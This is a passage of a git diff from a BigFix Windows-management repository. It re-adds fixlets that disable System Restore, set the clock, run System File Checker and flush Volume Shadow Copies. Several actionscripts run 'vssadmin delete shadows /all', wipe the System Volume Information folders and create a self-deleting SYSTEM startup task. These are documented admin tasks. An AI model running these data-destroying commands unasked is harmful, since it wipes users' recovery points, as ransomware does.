+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Removes any values in <B style="mso-bidi-font-weight: normal">HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients</B><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Attempts to remove existing restore points using <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: black">vssadmin delete shadows /all /quiet</SPAN></B><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Creates a scheduled task to run on the next reboot that:<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Deletes the contents of any remaining <SPAN style="COLOR: black">System Volume Information folders on the drives’ root folders</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="COLOR: black">Deletes any temporary files that were created</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri><SPAN style="COLOR: black">Deletes the scheduled task</SPAN><o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Known Issues<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>It’s possible that something in the filesystem continues to use the System Restore files even after a reboot, which would prevent deletion. If this amount of data is more than 10 MB then the result of the BigFix action will show as Failed. In these rare cases I would suggest running the fixlet again. If the issue persists, connect to the device and attempt to delete the existing restore points and disable System Restore manually through the System control panel.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Rollback Procedures<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Configure System Restore via the control panel, or create a fixlet to re-enable it.</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Notes<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo5"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>This fixlet requires a restart before completing fully.</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Document Changelog<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>04/05/2016, Sean Seymour: Version 2.3 - Fixed a bug in the actionscript command to create the scheduled task that runs after the reboot.<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>03/16/2016, Sean Seymour: Version 2.2 - Added Win7+ info<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">11/03/2015</SPAN>, Sean Seymour: Version 2.1 <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>- Clarified that the DisableSR registry value gets set back to 1.</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>10/28/2015, Sean Seymour: Version 2.0 with updated information regarding the WMI step<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3 face=Calibri>09/22/2015, Sean Seymour: Version 1.0 of this document created</FONT><o:p></o:p></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[((sum of sizes of descendants of folder "C:\System Volume Information" / (1024*1024)) > 10) or ((windows of operating system and version of operating system >= "6.1") and (exists value whose (name of it is "RPSessionInterval" and it > 0) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" of native registry) or (exists values of keys "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients" of native registry) or exists scheduled task whose (path of it is "\Microsoft\Windows\SystemRestore\SR" and enabled of it))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 17 May 2016 14:50:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system as string starts with "WinXP"}
+	parameter "ServiceName" = "srservice"
+
+	// Enable System Restore first, since it may be in a semi-disabled state
+	// which can seem off but is actually creating unregulated restore points.
+	// This can result in System Restore actually filling up all remaining drive
+	// space with restore points until it brings down the device.
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DiskPercent"=dword:1
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DisableSR"=dword:0
+
+	// Need the service available to make these changes.
+	if {exists running service (parameter "ServiceName")}
+		parameter "ServiceState" = "Running"
+	else
+		if {exists service (parameter "ServiceName")}
+			// If the service is disabled, we need to change the configuration first.
+			if {start type of service (parameter "ServiceName") = "disabled"}
+				waithidden cmd /s /c "sc config "{parameter "ServiceName"}" start= demand && sc start "{parameter "ServiceName"}""
+			else
+				waithidden cmd /c sc start "{parameter "ServiceName"}"
+			endif
+			parameter "ServiceState" = "{state of service (parameter "ServiceName")}"
+		else
+			parameter "ServiceState" = "Unknown"
+		endif
+	endif
+
+	continue if {(parameter "ServiceState") is not "Unknown"}
+endif
+
+// Check if PowerShell exists. Otherwise we will use vbscript.
+if {exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of native registry}
+	parameter "PowerShellExists" = "True"
+else
+	parameter "PowerShellExists" = "False"
+endif
+
+if {(parameter "PowerShellExists") is "True"}
+	waithidden powershell -executionpolicy bypass "[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Disable-ComputerRestore -Drive $_}"
+else
+	// Disable System Restore via wmi & vbcript.
+	delete __createfile
+	delete run.vbs
+
+	createfile until _end_
+' Original source: http://windowsitpro.com/scripting/rem-disabling-system-restore
+Option Explicit
+Dim SystemRestoreEnabled, objRP, ReturnCode
+
+' Check if computer has any restore points.
+SystemRestoreEnabled = False
+For Each objRP In GetObject("winmgmts:{{impersonationlevel=impersonate}!root/default").InstancesOf("SystemRestore")
+  SystemRestoreEnabled = True
+  Exit For
+Next
+
+ReturnCode = 0
+
+If SystemRestoreEnabled Then
+  ' Disable System Restore for all drives on the computer
+  ReturnCode = GetObject("winmgmts:{{impersonationLevel=impersonate}!root/default:SystemRestore").Disable("")
+End If
+
+Wscript.Quit ReturnCode
+	_end_
+
+	move __createfile run.vbs
+
+	override wait
+	hidden=true
+	completion=job
+	wait cscript.exe run.vbs
+endif
+
+// The above code for Win7 simply disables the ability to restore system restore points.
+// There is additional work needed to:
+// 1. Disable the built in scheduled task that periodically creates restore points.
+// 2. Remove a registry key that may have some drives as System Restore 'clients'.
+// 3. Delete any existing restore points.
+// 4. Clean up the System Volume Information folders after the next reboot.
+if {windows of operating system and version of operating system >= "6.1"}
+	// 1. Disable the built in scheduled task that periodically creates restore points.
+	parameter "SysRestoreTaskPath" = "\Microsoft\Windows\SystemRestore\SR"
+	if {exists scheduled task whose (path of it is (parameter "SysRestoreTaskPath") and enabled of it)}
+		waithidden schtasks /change /tn {parameter "SysRestoreTaskPath"} /disable
+	endif
+
+	// 2. Remove a registry key that may have some drives as System Restore 'clients'.
+	action uses wow64 redirection false
+	parameter "SysRestoreClientPath" = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients"
+	waithidden reg delete "{parameter "SysRestoreClientPath"}" /va /f
+
+	// 3. Delete any existing restore points.
+	waithidden vssadmin delete shadows /all /quiet
+
+	// 4. Clean up the System Volume Information folders.
+	// Any remaining files in the System Volume Information folders are usually
+	// locked / in use until the next reboot. So create a scheduled task that
+	// will delete the files at startup then delete itself (the task).
+	parameter "SysVolInfoBasename" = "DeleteSysVolInfoContents"
+	parameter "OutputFolder" = "{storage folder of client as string & "\SystemRestoreOff"}"
+	parameter "TaskScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.bat"
+
+	if {not exist folder (parameter "OutputFolder")}
+	  folder create "{parameter "OutputFolder"}"
+	endif
+
+	// Create a script to delete the contents of all files in the System Volume Information
+	// folder on the root of any fixed drive.
+	if {(parameter "PowerShellExists") is "True"}
+		parameter "ScriptCall" = "powershell -executionpolicy bypass -file {"%22"}%~n0.ps1{"%22"}"
+		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.ps1"
+		delete __createfile
+		createfile until _end_
+[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Get-ChildItem -Path (Join-Path $_ 'System Volume Information') -Recurse | Remove-Item -Force -Recurse}
+_end_
+	else
+		parameter "ScriptCall" = "cscript {"%22"}%~n0.vbs{"%22"}"
+		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.vbs"
+
+		delete __createfile
+		createfile until _end_
+option explicit
+on error resume next
+const FixedDrive = 2
+dim file, folder, objDrive, objFolder, sysVolInfoPath
+dim objFSO: set objFSO = CreateObject("Scripting.FileSystemObject")
+dim colDrives: set colDrives = objFSO.Drives
+
+for each objDrive in colDrives
+	if FixedDrive = objDrive.DriveType then
+		sysVolInfoPath = objDrive.RootFolder & "System Volume Information"
+
+		set objFolder = objFSO.GetFolder(sysVolInfoPath)
+
+		for each folder in objFolder.SubFolders
+			objFSO.DeleteFolder folder.path, true
+		next
+
+		for each file in objFolder.Files
+			objFSO.DeleteFile file.path, true
+		next
+	end if
+next
+_end_
+	endif
+
+	// Copy fails if the file exists, so delete it first.
+	// Delete calls do not fail if the file is not there.
+	delete "{parameter "ScriptPath"}"
+	move __createfile "{parameter "ScriptPath"}"
+
+	// Create the batch file that the scheduled task will use to execute the script.
+	// When it's done it will delete the task, itself and any helper files in that dir.
+	// In some instances the call to vssadmin doesn't work pre-reboot, so throw it in here again.
+	delete __createfile
+	createfile until _end_
+@echo off
+cd /d "%~dp0"
+vssadmin delete shadows /all /quiet
+{parameter "ScriptCall"}
+schtasks /delete /tn "%~n0" /f
+cd /d %systemdrive%\
+start cmd /c rd /s/q "%~dp0"&exit /b
+_end_
+
+	// Copy the batch file to the predefined path for the scheduled task.
+	delete "{parameter "TaskScriptPath"}"
+	move __createfile "{parameter "TaskScriptPath"}"
+
+	// Create the startup task.
+	// The tr argument requires the quotes to be escaped if there are spaces in the path.
+	waithidden schtasks /create /ru System /tn "{parameter "SysVolInfoBasename"}" /sc onstart /tr "\"{parameter "TaskScriptPath"}"\" /f
+
+	action requires restart "SystemRestoreOff"
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes b/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes
index 915810a17..d604b6f2d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : TASK: Change System Time
-  ID       : 773
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-06T21:37:04
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>TASK: Change System Time</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 20 Mar 2012 14:35:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// The following syntax can be used to set the clock to any given time
-//waithidden cmd.exe /C time 4:30:00 PM
-// The following will set the clock to the current time of the BES Server
-set clock
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : TASK: Change System Time
+  ID       : 773
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T21:37:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>TASK: Change System Time</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 20 Mar 2012 14:35:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// The following syntax can be used to set the clock to any given time
+//waithidden cmd.exe /C time 4:30:00 PM
+// The following will set the clock to the current time of the BES Server
+set clock
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes
index 796974466..ac60f9929 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes	
@@ -1,59 +1,59 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : TROUBLESHOOTING: Run System File Checker tool - SFC /scannow
-  ID       : 6038
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T07:03:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>TROUBLESHOOTING: Run System File Checker tool - SFC /scannow</Title>
-    <Description><![CDATA[<P>From: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>
-<P>This task will run the Microsoft System File Checker tool. </P>
-<P><A href="http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true">http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;TrustedInstaller&quot;</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists file &quot;sfc.exe&quot; of system x64 folder</Relevance>
-    <Category>Troubleshooting</Category>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 13:59:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true
-
-// SFC relies on the &quot;TrustedInstaller&quot; service:
-//          http://www.winhelponline.com/blog/fix-for-error-windows-resource-protection-could-not-start-the-repair-service-when-running-sfc-in-vista/
-if{not exists running service &quot;TrustedInstaller&quot;}
-	waithidden cmd.exe /C net start TrustedInstaller
-endif
-
-continue if{ exists running service &quot;TrustedInstaller&quot; }
-
-// http://pic.dhe.ibm.com/infocenter/tivihelp/v26r1/index.jsp?topic=%2Fcom.ibm.tem.doc_8.2%2FPlatform%2FAction%2Fc_action_launch_preference_low_p.html
-// launch exe&apos;s with low priority settings to help prevent disrupting the user
-action launch preference low-priority
-
-// Run the System File Checker Utility
-//  http://support.microsoft.com/kb/929833
-continue if{exists running service &quot;TrustedInstaller&quot;}
-waithidden sfc /scannow
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : TROUBLESHOOTING: Run System File Checker tool - SFC /scannow
+  ID       : 6038
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:03:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>TROUBLESHOOTING: Run System File Checker tool - SFC /scannow</Title>
+    <Description><![CDATA[<P>From: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>
+<P>This task will run the Microsoft System File Checker tool. </P>
+<P><A href="http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true">http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;TrustedInstaller&quot;</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file &quot;sfc.exe&quot; of system x64 folder</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 13:59:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true
+
+// SFC relies on the &quot;TrustedInstaller&quot; service:
+//          http://www.winhelponline.com/blog/fix-for-error-windows-resource-protection-could-not-start-the-repair-service-when-running-sfc-in-vista/
+if{not exists running service &quot;TrustedInstaller&quot;}
+	waithidden cmd.exe /C net start TrustedInstaller
+endif
+
+continue if{ exists running service &quot;TrustedInstaller&quot; }
+
+// http://pic.dhe.ibm.com/infocenter/tivihelp/v26r1/index.jsp?topic=%2Fcom.ibm.tem.doc_8.2%2FPlatform%2FAction%2Fc_action_launch_preference_low_p.html
+// launch exe&apos;s with low priority settings to help prevent disrupting the user
+action launch preference low-priority
+
+// Run the System File Checker Utility
+//  http://support.microsoft.com/kb/929833
+continue if{exists running service &quot;TrustedInstaller&quot;}
+waithidden sfc /scannow
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes
index 4263c795f..31c2259aa 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups
-  ID       : 6043
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T12:14:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups</Title>
-    <Description>This task will flush all old shadow copies and set the max shadow copy storage to 10GB </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 19:13:43 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Delete all old shadow copies
-waithidden cmd.exe /C vssadmin delete shadows /all
-//Set max VSS Shadow Copy storage to 10GB
-waithidden cmd.exe /C vssadmin Resize ShadowStorage /For=C: /On=C: /MaxSize=10GB</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups
+  ID       : 6043
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:14:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups</Title>
+    <Description>This task will flush all old shadow copies and set the max shadow copy storage to 10GB </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 19:13:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Delete all old shadow copies
+waithidden cmd.exe /C vssadmin delete shadows /all
+//Set max VSS Shadow Copy storage to 10GB
